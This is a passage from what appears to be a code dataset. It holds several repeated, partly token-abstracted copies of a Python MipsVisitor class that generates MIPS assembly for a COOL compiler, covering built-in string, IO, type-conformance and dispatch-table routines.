self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Plus)\n def visit(self, node: cil.Plus):\n self.write_file('# +')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('add $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Minus)\n def visit(self, node: cil.Minus):\n self.write_file('# -')\n if isinstance(node.left, int):\n self.write_file('li $a0 {}'.format(node.left))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sub $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 